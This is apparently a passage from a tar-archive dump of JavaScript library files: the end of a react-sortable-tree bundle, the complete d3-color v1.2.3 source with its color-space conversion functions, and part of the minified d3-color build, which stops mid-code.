searchFinishCallback: PropTypes.func, // Generate an object with additional props to be passed to the node renderer. // Use this for adding buttons via the `buttons` key, // or additional `style` / `className` settings. generateNodeProps: PropTypes.func, // Set to false to disable virtualization. // NOTE: Auto-scrolling while dragging, and scrolling to the `searchFocusOffset` will be disabled. isVirtualized: PropTypes.bool, treeNodeRenderer: PropTypes.func, // Override the default component for rendering nodes (but keep the scaffolding generator) // This is an advanced option for complete customization of the appearance. // It is best to copy the component in `node-renderer-default.js` to use as a base, and customize as needed. nodeContentRenderer: PropTypes.func, // Override the default component for rendering an empty tree // This is an advanced option for complete customization of the appearance. // It is best to copy the component in `placeholder-renderer-default.js` to use as a base, // and customize as needed. placeholderRenderer: PropTypes.func, theme: PropTypes.shape({ style: PropTypes.shape({}), innerStyle: PropTypes.shape({}), reactVirtualizedListProps: PropTypes.shape({}), scaffoldBlockPxWidth: PropTypes.number, slideRegionSize: PropTypes.number, rowHeight: PropTypes.oneOfType([PropTypes.number, PropTypes.func]), treeNodeRenderer: PropTypes.func, nodeContentRenderer: PropTypes.func, placeholderRenderer: PropTypes.func }), // Determine the unique key used to identify each node and // generate the `path` array passed in callbacks. // By default, returns the index in the tree (omitting hidden nodes). getNodeKey: PropTypes.func, // Called whenever tree data changed. // Just like with React input elements, you have to update your // own component's data to see the changes reflected. onChange: PropTypes.func.isRequired, // Called after node move operation. onMoveNode: PropTypes.func, // Determine whether a node can be dragged. Set to false to disable dragging on all nodes. canDrag: PropTypes.oneOfType([PropTypes.func, PropTypes.bool]), // Determine whether a node can be dropped based on its path and parents'. canDrop: PropTypes.func, // Determine whether a node can have children canNodeHaveChildren: PropTypes.func, // When true, or a callback returning true, dropping nodes to react-dnd // drop targets outside of this tree will not remove them from this tree shouldCopyOnOutsideDrop: PropTypes.oneOfType([PropTypes.func, PropTypes.bool]), // Called after children nodes collapsed or expanded. onVisibilityToggle: PropTypes.func, dndType: PropTypes.string, // Called to track between dropped and dragging onDragStateChanged: PropTypes.func, // Specify that nodes that do not match search will be collapsed onlyExpandSearchedNodes: PropTypes.bool, // rtl support rowDirection: PropTypes.string }; ReactSortableTree.defaultProps = { canDrag: true, canDrop: null, canNodeHaveChildren: function canNodeHaveChildren() { return true; }, className: '', dndType: null, generateNodeProps: null, getNodeKey: defaultGetNodeKey, innerStyle: {}, isVirtualized: true, maxDepth: null, treeNodeRenderer: null, nodeContentRenderer: null, onMoveNode: function onMoveNode() {}, onVisibilityToggle: function onVisibilityToggle() {}, placeholderRenderer: null, reactVirtualizedListProps: {}, rowHeight: null, scaffoldBlockPxWidth: null, searchFinishCallback: null, searchFocusOffset: null, searchMethod: null, searchQuery: null, shouldCopyOnOutsideDrop: false, slideRegionSize: null, style: {}, theme: {}, onDragStateChanged: function onDragStateChanged() {}, onlyExpandSearchedNodes: false, rowDirection: 'ltr' }; polyfill$1(ReactSortableTree); var SortableTreeWithoutDndContext = function SortableTreeWithoutDndContext(props) { return /*#__PURE__*/React__default.createElement(reactDnd.DndContext.Consumer, null, function (_ref17) { var dragDropManager = _ref17.dragDropManager; return dragDropManager === undefined ? null : /*#__PURE__*/React__default.createElement(ReactSortableTree, _extends({}, props, { dragDropManager: dragDropManager })); }); }; var SortableTree = function SortableTree(props) { return /*#__PURE__*/React__default.createElement(reactDnd.DndProvider, { backend: reactDndHtml5Backend.HTML5Backend }, /*#__PURE__*/React__default.createElement(SortableTreeWithoutDndContext, props)); }; // Export the tree component without the react-dnd DragDropContext, exports.SortableTreeWithoutDndContext = SortableTreeWithoutDndContext; exports.addNodeUnderParent = addNodeUnderParent; exports.changeNodeAtPath = changeNodeAtPath; exports.default = SortableTree; exports.defaultGetNodeKey = defaultGetNodeKey; exports.defaultSearchMethod = defaultSearchMethod; exports.find = find; exports.getDepth = getDepth; exports.getDescendantCount = getDescendantCount; exports.getFlatDataFromTree = getFlatDataFromTree; exports.getNodeAtPath = getNodeAtPath; exports.getTreeFromFlatData = getTreeFromFlatData; exports.getVisibleNodeCount = getVisibleNodeCount; exports.getVisibleNodeInfoAtIndex = getVisibleNodeInfoAtIndex; exports.insertNode = insertNode; exports.isDescendant = isDescendant; exports.map = map; exports.removeNode = removeNode; exports.removeNodeAtPath = removeNodeAtPath; exports.toggleExpandedForAll = toggleExpandedForAll; exports.walk = walk; d3-color.js000064400000037276151677275200006557 0ustar00// https://d3js.org/d3-color/ v1.2.3 Copyright 2018 Mike Bostock (function (global, factory) { typeof exports === 'object' && typeof module !== 'undefined' ? factory(exports) : typeof define === 'function' && define.amd ? define(['exports'], factory) : (factory((global.d3 = global.d3 || {}))); }(this, (function (exports) { 'use strict'; function define(constructor, factory, prototype) { constructor.prototype = factory.prototype = prototype; prototype.constructor = constructor; } function extend(parent, definition) { var prototype = Object.create(parent.prototype); for (var key in definition) prototype[key] = definition[key]; return prototype; } function Color() {} var darker = 0.7; var brighter = 1 / darker; var reI = "\\s*([+-]?\\d+)\\s*", reN = "\\s*([+-]?\\d*\\.?\\d+(?:[eE][+-]?\\d+)?)\\s*", reP = "\\s*([+-]?\\d*\\.?\\d+(?:[eE][+-]?\\d+)?)%\\s*", reHex3 = /^#([0-9a-f]{3})$/, reHex6 = /^#([0-9a-f]{6})$/, reRgbInteger = new RegExp("^rgb\\(" + [reI, reI, reI] + "\\)$"), reRgbPercent = new RegExp("^rgb\\(" + [reP, reP, reP] + "\\)$"), reRgbaInteger = new RegExp("^rgba\\(" + [reI, reI, reI, reN] + "\\)$"), reRgbaPercent = new RegExp("^rgba\\(" + [reP, reP, reP, reN] + "\\)$"), reHslPercent = new RegExp("^hsl\\(" + [reN, reP, reP] + "\\)$"), reHslaPercent = new RegExp("^hsla\\(" + [reN, reP, reP, reN] + "\\)$"); var named = { aliceblue: 0xf0f8ff, antiquewhite: 0xfaebd7, aqua: 0x00ffff, aquamarine: 0x7fffd4, azure: 0xf0ffff, beige: 0xf5f5dc, bisque: 0xffe4c4, black: 0x000000, blanchedalmond: 0xffebcd, blue: 0x0000ff, blueviolet: 0x8a2be2, brown: 0xa52a2a, burlywood: 0xdeb887, cadetblue: 0x5f9ea0, chartreuse: 0x7fff00, chocolate: 0xd2691e, coral: 0xff7f50, cornflowerblue: 0x6495ed, cornsilk: 0xfff8dc, crimson: 0xdc143c, cyan: 0x00ffff, darkblue: 0x00008b, darkcyan: 0x008b8b, darkgoldenrod: 0xb8860b, darkgray: 0xa9a9a9, darkgreen: 0x006400, darkgrey: 0xa9a9a9, darkkhaki: 0xbdb76b, darkmagenta: 0x8b008b, darkolivegreen: 0x556b2f, darkorange: 0xff8c00, darkorchid: 0x9932cc, darkred: 0x8b0000, darksalmon: 0xe9967a, darkseagreen: 0x8fbc8f, darkslateblue: 0x483d8b, darkslategray: 0x2f4f4f, darkslategrey: 0x2f4f4f, darkturquoise: 0x00ced1, darkviolet: 0x9400d3, deeppink: 0xff1493, deepskyblue: 0x00bfff, dimgray: 0x696969, dimgrey: 0x696969, dodgerblue: 0x1e90ff, firebrick: 0xb22222, floralwhite: 0xfffaf0, forestgreen: 0x228b22, fuchsia: 0xff00ff, gainsboro: 0xdcdcdc, ghostwhite: 0xf8f8ff, gold: 0xffd700, goldenrod: 0xdaa520, gray: 0x808080, green: 0x008000, greenyellow: 0xadff2f, grey: 0x808080, honeydew: 0xf0fff0, hotpink: 0xff69b4, indianred: 0xcd5c5c, indigo: 0x4b0082, ivory: 0xfffff0, khaki: 0xf0e68c, lavender: 0xe6e6fa, lavenderblush: 0xfff0f5, lawngreen: 0x7cfc00, lemonchiffon: 0xfffacd, lightblue: 0xadd8e6, lightcoral: 0xf08080, lightcyan: 0xe0ffff, lightgoldenrodyellow: 0xfafad2, lightgray: 0xd3d3d3, lightgreen: 0x90ee90, lightgrey: 0xd3d3d3, lightpink: 0xffb6c1, lightsalmon: 0xffa07a, lightseagreen: 0x20b2aa, lightskyblue: 0x87cefa, lightslategray: 0x778899, lightslategrey: 0x778899, lightsteelblue: 0xb0c4de, lightyellow: 0xffffe0, lime: 0x00ff00, limegreen: 0x32cd32, linen: 0xfaf0e6, magenta: 0xff00ff, maroon: 0x800000, mediumaquamarine: 0x66cdaa, mediumblue: 0x0000cd, mediumorchid: 0xba55d3, mediumpurple: 0x9370db, mediumseagreen: 0x3cb371, mediumslateblue: 0x7b68ee, mediumspringgreen: 0x00fa9a, mediumturquoise: 0x48d1cc, mediumvioletred: 0xc71585, midnightblue: 0x191970, mintcream: 0xf5fffa, mistyrose: 0xffe4e1, moccasin: 0xffe4b5, navajowhite: 0xffdead, navy: 0x000080, oldlace: 0xfdf5e6, olive: 0x808000, olivedrab: 0x6b8e23, orange: 0xffa500, orangered: 0xff4500, orchid: 0xda70d6, palegoldenrod: 0xeee8aa, palegreen: 0x98fb98, paleturquoise: 0xafeeee, palevioletred: 0xdb7093, papayawhip: 0xffefd5, peachpuff: 0xffdab9, peru: 0xcd853f, pink: 0xffc0cb, plum: 0xdda0dd, powderblue: 0xb0e0e6, purple: 0x800080, rebeccapurple: 0x663399, red: 0xff0000, rosybrown: 0xbc8f8f, royalblue: 0x4169e1, saddlebrown: 0x8b4513, salmon: 0xfa8072, sandybrown: 0xf4a460, seagreen: 0x2e8b57, seashell: 0xfff5ee, sienna: 0xa0522d, silver: 0xc0c0c0, skyblue: 0x87ceeb, slateblue: 0x6a5acd, slategray: 0x708090, slategrey: 0x708090, snow: 0xfffafa, springgreen: 0x00ff7f, steelblue: 0x4682b4, tan: 0xd2b48c, teal: 0x008080, thistle: 0xd8bfd8, tomato: 0xff6347, turquoise: 0x40e0d0, violet: 0xee82ee, wheat: 0xf5deb3, white: 0xffffff, whitesmoke: 0xf5f5f5, yellow: 0xffff00, yellowgreen: 0x9acd32 }; define(Color, color, { displayable: function() { return this.rgb().displayable(); }, hex: function() { return this.rgb().hex(); }, toString: function() { return this.rgb() + ""; } }); function color(format) { var m; format = (format + "").trim().toLowerCase(); return (m = reHex3.exec(format)) ? (m = parseInt(m[1], 16), new Rgb((m >> 8 & 0xf) | (m >> 4 & 0x0f0), (m >> 4 & 0xf) | (m & 0xf0), ((m & 0xf) << 4) | (m & 0xf), 1)) // #f00 : (m = reHex6.exec(format)) ? rgbn(parseInt(m[1], 16)) // #ff0000 : (m = reRgbInteger.exec(format)) ? new Rgb(m[1], m[2], m[3], 1) // rgb(255, 0, 0) : (m = reRgbPercent.exec(format)) ? new Rgb(m[1] * 255 / 100, m[2] * 255 / 100, m[3] * 255 / 100, 1) // rgb(100%, 0%, 0%) : (m = reRgbaInteger.exec(format)) ? rgba(m[1], m[2], m[3], m[4]) // rgba(255, 0, 0, 1) : (m = reRgbaPercent.exec(format)) ? rgba(m[1] * 255 / 100, m[2] * 255 / 100, m[3] * 255 / 100, m[4]) // rgb(100%, 0%, 0%, 1) : (m = reHslPercent.exec(format)) ? hsla(m[1], m[2] / 100, m[3] / 100, 1) // hsl(120, 50%, 50%) : (m = reHslaPercent.exec(format)) ? hsla(m[1], m[2] / 100, m[3] / 100, m[4]) // hsla(120, 50%, 50%, 1) : named.hasOwnProperty(format) ? rgbn(named[format]) : format === "transparent" ? new Rgb(NaN, NaN, NaN, 0) : null; } function rgbn(n) { return new Rgb(n >> 16 & 0xff, n >> 8 & 0xff, n & 0xff, 1); } function rgba(r, g, b, a) { if (a <= 0) r = g = b = NaN; return new Rgb(r, g, b, a); } function rgbConvert(o) { if (!(o instanceof Color)) o = color(o); if (!o) return new Rgb; o = o.rgb(); return new Rgb(o.r, o.g, o.b, o.opacity); } function rgb(r, g, b, opacity) { return arguments.length === 1 ? rgbConvert(r) : new Rgb(r, g, b, opacity == null ? 1 : opacity); } function Rgb(r, g, b, opacity) { this.r = +r; this.g = +g; this.b = +b; this.opacity = +opacity; } define(Rgb, rgb, extend(Color, { brighter: function(k) { k = k == null ? brighter : Math.pow(brighter, k); return new Rgb(this.r * k, this.g * k, this.b * k, this.opacity); }, darker: function(k) { k = k == null ? darker : Math.pow(darker, k); return new Rgb(this.r * k, this.g * k, this.b * k, this.opacity); }, rgb: function() { return this; }, displayable: function() { return (0 <= this.r && this.r <= 255) && (0 <= this.g && this.g <= 255) && (0 <= this.b && this.b <= 255) && (0 <= this.opacity && this.opacity <= 1); }, hex: function() { return "#" + hex(this.r) + hex(this.g) + hex(this.b); }, toString: function() { var a = this.opacity; a = isNaN(a) ? 1 : Math.max(0, Math.min(1, a)); return (a === 1 ? "rgb(" : "rgba(") + Math.max(0, Math.min(255, Math.round(this.r) || 0)) + ", " + Math.max(0, Math.min(255, Math.round(this.g) || 0)) + ", " + Math.max(0, Math.min(255, Math.round(this.b) || 0)) + (a === 1 ? ")" : ", " + a + ")"); } })); function hex(value) { value = Math.max(0, Math.min(255, Math.round(value) || 0)); return (value < 16 ? "0" : "") + value.toString(16); } function hsla(h, s, l, a) { if (a <= 0) h = s = l = NaN; else if (l <= 0 || l >= 1) h = s = NaN; else if (s <= 0) h = NaN; return new Hsl(h, s, l, a); } function hslConvert(o) { if (o instanceof Hsl) return new Hsl(o.h, o.s, o.l, o.opacity); if (!(o instanceof Color)) o = color(o); if (!o) return new Hsl; if (o instanceof Hsl) return o; o = o.rgb(); var r = o.r / 255, g = o.g / 255, b = o.b / 255, min = Math.min(r, g, b), max = Math.max(r, g, b), h = NaN, s = max - min, l = (max + min) / 2; if (s) { if (r === max) h = (g - b) / s + (g < b) * 6; else if (g === max) h = (b - r) / s + 2; else h = (r - g) / s + 4; s /= l < 0.5 ? max + min : 2 - max - min; h *= 60; } else { s = l > 0 && l < 1 ? 0 : h; } return new Hsl(h, s, l, o.opacity); } function hsl(h, s, l, opacity) { return arguments.length === 1 ? hslConvert(h) : new Hsl(h, s, l, opacity == null ? 1 : opacity); } function Hsl(h, s, l, opacity) { this.h = +h; this.s = +s; this.l = +l; this.opacity = +opacity; } define(Hsl, hsl, extend(Color, { brighter: function(k) { k = k == null ? brighter : Math.pow(brighter, k); return new Hsl(this.h, this.s, this.l * k, this.opacity); }, darker: function(k) { k = k == null ? darker : Math.pow(darker, k); return new Hsl(this.h, this.s, this.l * k, this.opacity); }, rgb: function() { var h = this.h % 360 + (this.h < 0) * 360, s = isNaN(h) || isNaN(this.s) ? 0 : this.s, l = this.l, m2 = l + (l < 0.5 ? l : 1 - l) * s, m1 = 2 * l - m2; return new Rgb( hsl2rgb(h >= 240 ? h - 240 : h + 120, m1, m2), hsl2rgb(h, m1, m2), hsl2rgb(h < 120 ? h + 240 : h - 120, m1, m2), this.opacity ); }, displayable: function() { return (0 <= this.s && this.s <= 1 || isNaN(this.s)) && (0 <= this.l && this.l <= 1) && (0 <= this.opacity && this.opacity <= 1); } })); /* From FvD 13.37, CSS Color Module Level 3 */ function hsl2rgb(h, m1, m2) { return (h < 60 ? m1 + (m2 - m1) * h / 60 : h < 180 ? m2 : h < 240 ? m1 + (m2 - m1) * (240 - h) / 60 : m1) * 255; } var deg2rad = Math.PI / 180; var rad2deg = 180 / Math.PI; // https://beta.observablehq.com/@mbostock/lab-and-rgb var K = 18, Xn = 0.96422, Yn = 1, Zn = 0.82521, t0 = 4 / 29, t1 = 6 / 29, t2 = 3 * t1 * t1, t3 = t1 * t1 * t1; function labConvert(o) { if (o instanceof Lab) return new Lab(o.l, o.a, o.b, o.opacity); if (o instanceof Hcl) { if (isNaN(o.h)) return new Lab(o.l, 0, 0, o.opacity); var h = o.h * deg2rad; return new Lab(o.l, Math.cos(h) * o.c, Math.sin(h) * o.c, o.opacity); } if (!(o instanceof Rgb)) o = rgbConvert(o); var r = rgb2lrgb(o.r), g = rgb2lrgb(o.g), b = rgb2lrgb(o.b), y = xyz2lab((0.2225045 * r + 0.7168786 * g + 0.0606169 * b) / Yn), x, z; if (r === g && g === b) x = z = y; else { x = xyz2lab((0.4360747 * r + 0.3850649 * g + 0.1430804 * b) / Xn); z = xyz2lab((0.0139322 * r + 0.0971045 * g + 0.7141733 * b) / Zn); } return new Lab(116 * y - 16, 500 * (x - y), 200 * (y - z), o.opacity); } function gray(l, opacity) { return new Lab(l, 0, 0, opacity == null ? 1 : opacity); } function lab(l, a, b, opacity) { return arguments.length === 1 ? labConvert(l) : new Lab(l, a, b, opacity == null ? 1 : opacity); } function Lab(l, a, b, opacity) { this.l = +l; this.a = +a; this.b = +b; this.opacity = +opacity; } define(Lab, lab, extend(Color, { brighter: function(k) { return new Lab(this.l + K * (k == null ? 1 : k), this.a, this.b, this.opacity); }, darker: function(k) { return new Lab(this.l - K * (k == null ? 1 : k), this.a, this.b, this.opacity); }, rgb: function() { var y = (this.l + 16) / 116, x = isNaN(this.a) ? y : y + this.a / 500, z = isNaN(this.b) ? y : y - this.b / 200; x = Xn * lab2xyz(x); y = Yn * lab2xyz(y); z = Zn * lab2xyz(z); return new Rgb( lrgb2rgb( 3.1338561 * x - 1.6168667 * y - 0.4906146 * z), lrgb2rgb(-0.9787684 * x + 1.9161415 * y + 0.0334540 * z), lrgb2rgb( 0.0719453 * x - 0.2289914 * y + 1.4052427 * z), this.opacity ); } })); function xyz2lab(t) { return t > t3 ? Math.pow(t, 1 / 3) : t / t2 + t0; } function lab2xyz(t) { return t > t1 ? t * t * t : t2 * (t - t0); } function lrgb2rgb(x) { return 255 * (x <= 0.0031308 ? 12.92 * x : 1.055 * Math.pow(x, 1 / 2.4) - 0.055); } function rgb2lrgb(x) { return (x /= 255) <= 0.04045 ? x / 12.92 : Math.pow((x + 0.055) / 1.055, 2.4); } function hclConvert(o) { if (o instanceof Hcl) return new Hcl(o.h, o.c, o.l, o.opacity); if (!(o instanceof Lab)) o = labConvert(o); if (o.a === 0 && o.b === 0) return new Hcl(NaN, 0, o.l, o.opacity); var h = Math.atan2(o.b, o.a) * rad2deg; return new Hcl(h < 0 ? h + 360 : h, Math.sqrt(o.a * o.a + o.b * o.b), o.l, o.opacity); } function lch(l, c, h, opacity) { return arguments.length === 1 ? hclConvert(l) : new Hcl(h, c, l, opacity == null ? 1 : opacity); } function hcl(h, c, l, opacity) { return arguments.length === 1 ? hclConvert(h) : new Hcl(h, c, l, opacity == null ? 1 : opacity); } function Hcl(h, c, l, opacity) { this.h = +h; this.c = +c; this.l = +l; this.opacity = +opacity; } define(Hcl, hcl, extend(Color, { brighter: function(k) { return new Hcl(this.h, this.c, this.l + K * (k == null ? 1 : k), this.opacity); }, darker: function(k) { return new Hcl(this.h, this.c, this.l - K * (k == null ? 1 : k), this.opacity); }, rgb: function() { return labConvert(this).rgb(); } })); var A = -0.14861, B = +1.78277, C = -0.29227, D = -0.90649, E = +1.97294, ED = E * D, EB = E * B, BC_DA = B * C - D * A; function cubehelixConvert(o) { if (o instanceof Cubehelix) return new Cubehelix(o.h, o.s, o.l, o.opacity); if (!(o instanceof Rgb)) o = rgbConvert(o); var r = o.r / 255, g = o.g / 255, b = o.b / 255, l = (BC_DA * b + ED * r - EB * g) / (BC_DA + ED - EB), bl = b - l, k = (E * (g - l) - C * bl) / D, s = Math.sqrt(k * k + bl * bl) / (E * l * (1 - l)), // NaN if l=0 or l=1 h = s ? Math.atan2(k, bl) * rad2deg - 120 : NaN; return new Cubehelix(h < 0 ? h + 360 : h, s, l, o.opacity); } function cubehelix(h, s, l, opacity) { return arguments.length === 1 ? cubehelixConvert(h) : new Cubehelix(h, s, l, opacity == null ? 1 : opacity); } function Cubehelix(h, s, l, opacity) { this.h = +h; this.s = +s; this.l = +l; this.opacity = +opacity; } define(Cubehelix, cubehelix, extend(Color, { brighter: function(k) { k = k == null ? brighter : Math.pow(brighter, k); return new Cubehelix(this.h, this.s, this.l * k, this.opacity); }, darker: function(k) { k = k == null ? darker : Math.pow(darker, k); return new Cubehelix(this.h, this.s, this.l * k, this.opacity); }, rgb: function() { var h = isNaN(this.h) ? 0 : (this.h + 120) * deg2rad, l = +this.l, a = isNaN(this.s) ? 0 : this.s * l * (1 - l), cosh = Math.cos(h), sinh = Math.sin(h); return new Rgb( 255 * (l + a * (A * cosh + B * sinh)), 255 * (l + a * (C * cosh + D * sinh)), 255 * (l + a * (E * cosh)), this.opacity ); } })); exports.color = color; exports.rgb = rgb; exports.hsl = hsl; exports.lab = lab; exports.hcl = hcl; exports.lch = lch; exports.gray = gray; exports.cubehelix = cubehelix; Object.defineProperty(exports, '__esModule', { value: true }); }))); d3-color.min.js000064400000023055151677275200007327 0ustar00// https://d3js.org/d3-color/ v1.2.3 Copyright 2018 Mike Bostock !function(t,e){"object"==typeof exports&&"undefined"!=typeof module?e(exports):"function"==typeof define&&define.amd?define(["exports"],e):e(t.d3=t.d3||{})}(this,function(t){"use strict";function e(t,e,n){t.prototype=e.prototype=n,n.constructor=t}function n(t,e){var n=Object.create(t.prototype);for(var i in e)n[i]=e[i];return n}function i(){}var r="\\s*([+-]?\\d+)\\s*",a="\\s*([+-]?\\d*\\.?\\d+(?:[eE][+-]?\\d+)?)\\s*",h="\\s*([+-]?\\d*\\.?\\d+(?:[eE][+-]?\\d+)?)%\\s*",s=/^#([0-9a-f]{3})$/,o=/^#([0-9a-f]{6})$/,l=new RegExp("^rgb\\("+[r,r,r]+"\\)$"),u=new RegExp("^rgb\\("+[h,h,h]+"\\)$"),c=new RegExp("^rgba\\("+[r,r,r,a]+"\\)$"),g=new RegExp("^rgba\\("+[h,h,h,a]+"\\)$"),d=new RegExp("^hsl\\("+[a,h,h]+"\\)$"),p=new RegExp("^hsla\\("+[a,h,h,a]+"\\)$"),f={aliceblue:15792383,antiquewhite:16444375,aqua:65535,aquamarine:8388564,azure:15794175,beige:16119260,bisque:16770244,black:0,blanchedalmond:16772045,blue:255,blueviolet:9055202,brown:10824234,burlywood:14596231,cadetblue:6266528,chartreuse:8388352,chocolate:13789470,coral:16744272,cornflowerblue:6591981,cornsilk:16775388,crimson:14423100,cyan:65535,darkblue:139,darkcyan:35723,darkgoldenrod:12092939,darkgray:11119017,darkgreen:25600,darkgrey:11119017,darkkhaki:12433259,darkmagenta:9109643,darkolivegreen:5597999,darkorange:16747520,darkorchid:10040012,darkred:9109504,darksalmon:15308410,darkseagreen:9419919,darkslateblue:4734347,darkslategray:3100495,darkslategrey:3100495,darkturquoise:52945,darkviolet:9699539,deeppink:16716947,deepskyblue:49151,dimgray:6908265,dimgrey:6908265,dodgerblue:2003199,firebrick:11674146,floralwhite:16775920,forestgreen:2263842,fuchsia:16711935,gainsboro:14474460,ghostwhite:16316671,gold:16766720,goldenrod:14329120,gray:8421504,green:32768,greenyellow:11403055,grey:8421504,honeydew:15794160,hotpink:16738740,indianred:13458524,indigo:4915330,ivory:16777200,khaki:15787660,lavender:15132410,lavenderblush:16773365,lawngreen:8190976,lemonchiffon:16775885,lightblue:11393254,lightcoral:15761536,lightcyan:14745599,lightgoldenrodyellow:16448210,lightgray:13882323,lightgreen:9498256,lightgrey:13882323,lightpink:16758465,lightsalmon:16752762,lightseagreen:2142890,lightskyblue:8900346,lightslategray:7833753,lightslategrey:7833753,lightsteelblue:11584734,lightyellow:16777184,lime:65280,limegreen:3329330,linen:16445670,magenta:16711935,maroon:8388608,mediumaquamarine:6737322,mediumblue:205,mediumorchid:12211667,mediumpurple:9662683,mediumseagreen:3978097,mediumslateblue:8087790,mediumspringgreen:64154,mediumturquoise:4772300,mediumvioletred:13047173,midnightblue:1644912,mintcream:16121850,mistyrose:16770273,moccasin:16770229,navajowhite:16768685,navy:128,oldlace:16643558,olive:8421376,olivedrab:7048739,orange:16753920,orangered:16729344,orchid:14315734,palegoldenrod:15657130,palegreen:10025880,paleturquoise:11529966,palevioletred:14381203,papayawhip:16773077,peachpuff:16767673,peru:13468991,pink:16761035,plum:14524637,powderblue:11591910,purple:8388736,rebeccapurple:6697881,red:16711680,rosybrown:12357519,royalblue:4286945,saddlebrown:9127187,salmon:16416882,sandybrown:16032864,seagreen:3050327,seashell:16774638,sienna:10506797,silver:12632256,skyblue:8900331,slateblue:6970061,slategray:7372944,slategrey:7372944,snow:16775930,springgreen:65407,steelblue:4620980,tan:13808780,teal:32896,thistle:14204888,tomato:16737095,turquoise:4251856,violet:15631086,wheat:16113331,white:16777215,whitesmoke:16119285,yellow:16776960,yellowgreen:10145074};function b(t){var e;return t=(t+"").trim().toLowerCase(),(e=s.exec(t))?new N((e=parseInt(e[1],16))>>8&15|e>>4&240,e>>4&15|240&e,(15&e)<<4|15&e,1):(e=o.exec(t))?y(parseInt(e[1],16)):(e=l.exec(t))?new N(e[1],e[2],e[3],1):(e=u.exec(t))?new N(255*e[1]/100,255*e[2]/100,255*e[3]/100,1):(e=c.exec(t))?w(e[1],e[2],e[3],e[4]):(e=g.exec(t))?w(255*e[1]/100,255*e[2]/100,255*e[3]/100,e[4]):(e=d.exec(t))?v(e[1],e[2]/100,e[3]/100,1):(e=p.exec(t))?v(e[1],e[2]/100,e[3]/100,e[4]):f.hasOwnProperty(t)?y(f[t]):"transparent"===t?new N(NaN,NaN,NaN,0):null}function y(t){return new N(t>>16&255,t>>8&255,255&t,1)}function w(t,e,n,i){return i<=0&&(t=e=n=NaN),new N(t,e,n,i)}function m(t){return t instanceof i||(t=b(t)),t?new N((t=t.rgb()).r,t.g,t.b,t.opacity):new N}function k(t,e,n,i){return 1===arguments.length?m(t):new N(t,e,n,null==i?1:i)}function N(t,e,n,i){this.r=+t,this.g=+e,this.b=+n,this.opacity=+i}function M(t){return((t=Math.max(0,Math.min(255,Math.round(t)||0)))<16?"0":"")+t.toString(16)}function v(t,e,n,i){return i<=0?t=e=n=NaN:n<=0||n>=1?t=e=NaN:e<=0&&(t=NaN),new q(t,e,n,i)}function x(t,e,n,r){return 1===arguments.length?function(t){if(t instanceof q)return new q(t.h,t.s,t.l,t.opacity);if(t instanceof i||(t=b(t)),!t)return new q;if(t instanceof q)return t;var e=(t=t.rgb()).r/255,n=t.g/255,r=t.b/255,a=Math.min(e,n,r),h=Math.max(e,n,r),s=NaN,o=h-a,l=(h+a)/2;return o?(s=e===h?(n-r)/o+6*(n<r):n===h?(r-e)/o+2:(e-n)/o+4,o/=l<.5?h+a:2-h-a,s*=60):o=l>0&&l<1?0:s,new q(s,o,l,t.opacity)}(t):new q(t,e,n,null==r?1:r)}function q(t,e,n,i){this.h=+t,this.s=+e,this.l=+n,this.opacity=+i}function E(t,e,n){return 255*(t<60?e+(n-e)*t/60:t<180?n:t<240?e+(n-e)*(240-t)/60:e)}e(i,b,{displayable:function(){return this.rgb().displayable()},hex:function(){return this.rgb().hex()},toString:function(){return this.rgb()+""}}),e(N,k,n(i,{brighter:function(t){return t=null==t?1/.7:Math.pow(1/.7,t),new N(this.r*t,this.g*t,this.b*t,this.opacity)},darker:function(t){return t=null==t?.7:Math.pow(.7,t),new N(this.r*t,this.g*t,this.b*t,this.opacity)},rgb:function(){return this},displayable:function(){return 0<=this.r&&this.r<=255&&0<=this.g&&this.g<=255&&0<=this.b&&this.b<=255&&0<=this.opacity&&this.opacity<=1},hex:function(){return"#"+M(this.r)+M(this.g)+M(this.b)},toString:function(){var t=this.opacity;return(1===(t=isNaN(t)?1:Math.max(0,Math.min(1,t)))?"rgb(":"rgba(")+Math.max(0,Math.min(255,Math.round(this.r)||0))+", "+Math.max(0,Math.min(255,Math.round(this.g)||0))+", "+Math.max(0,Math.min(255,Math.round(this.b)||0))+(1===t?")":", "+t+")")}})),e(q,x,n(i,{brighter:function(t){return t=null==t?1/.7:Math.pow(1/.7,t),new q(this.h,this.s,this.l*t,this.opacity)},darker:function(t){return t=null==t?.7:Math.pow(.7,t),new q(this.h,this.s,this.l*t,this.opacity)},rgb:function(){var t=this.h%360+360*(this.h<0),e=isNaN(t)||isNaN(this.s)?0:this.s,n=this.l,i=n+(n<.5?n:1-n)*e,r=2*n-i;return new N(E(t>=240?t-240:t+120,r,i),E(t,r,i),E(t<120?t+240:t-120,r,i),this.opacity)},displayable:function(){return(0<=this.s&&this.s<=1||isNaN(this.s))&&0<=this.l&&this.l<=1&&0<=this.opacity&&this.opacity<=1}}));var $=Math.PI/180,R=180/Math.PI,j=.96422,I=1,P=.82521,O=4/29,S=6/29,_=3*S*S,z=S*S*S;function C(t){if(t instanceof A)return new A(t.l,t.a,t.b,t.opacity);if(t instanceof K){if(isNaN(t.h))return new A(t.l,0,0,t.opacity);var e=t.h*$;return new A(t.l,Math.cos(e)*t.c,Math.sin(e)*t.c,t.opacity)}t instanceof N||(t=m(t));var n,i,r=G(t.r),a=G(t.g),h=G(t.b),s=B((.2225045*r+.7168786*a+.0606169*h)/I);return r===a&&a===h?n=i=s:(n=B((.4360747*r+.3850649*a+.1430804*h)/j),i=B((.0139322*r+.0971045*a+.7141733*h)/P)),new A(116*s-16,500*(n-s),200*(s-i),t.opacity)}function L(t,e,n,i){return 1===arguments.length?C(t):new A(t,e,n,null==i?1:i)}function A(t,e,n,i){this.l=+t,this.a=+e,this.b=+n,this.opacity=+i}function B(t){return t>z?Math.pow(t,1/3):t/_+O}function D(t){return t>S?t*t*t:_*(t-O)}function F(t){return 255*(t<=.0031308?12.92*t:1.055*Math.pow(t,1/2.4)-.055)}function G(t){return(t/=255)<=.04045?t/12.92:Math.pow((t+.055)/1.055,2.4)}function H(t){if(t instanceof K)return new K(t.h,t.c,t.l,t.opacity);if(t instanceof A||(t=C(t)),0===t.a&&0===t.b)return new K(NaN,0,t.l,t.opacity);var e=Math.atan2(t.b,t.a)*R;return new K(e<0?e+360:e,Math.sqrt(t.a*t.a+t.b*t.b),t.l,t.opacity)}function J(t,e,n,i){return 1===arguments.length?H(t):new K(t,e,n,null==i?1:i)}function K(t,e,n,i){this.h=+t,this.c=+e,this.l=+n,this.opacity=+i}e(A,L,n(i,{brighter:function(t){return new A(this.l+18*(null==t?1:t),this.a,this.b,this.opacity)},darker:function(t){return new A(this.l-18*(null==t?1:t),this.a,this.b,this.opacity)},rgb:function(){var 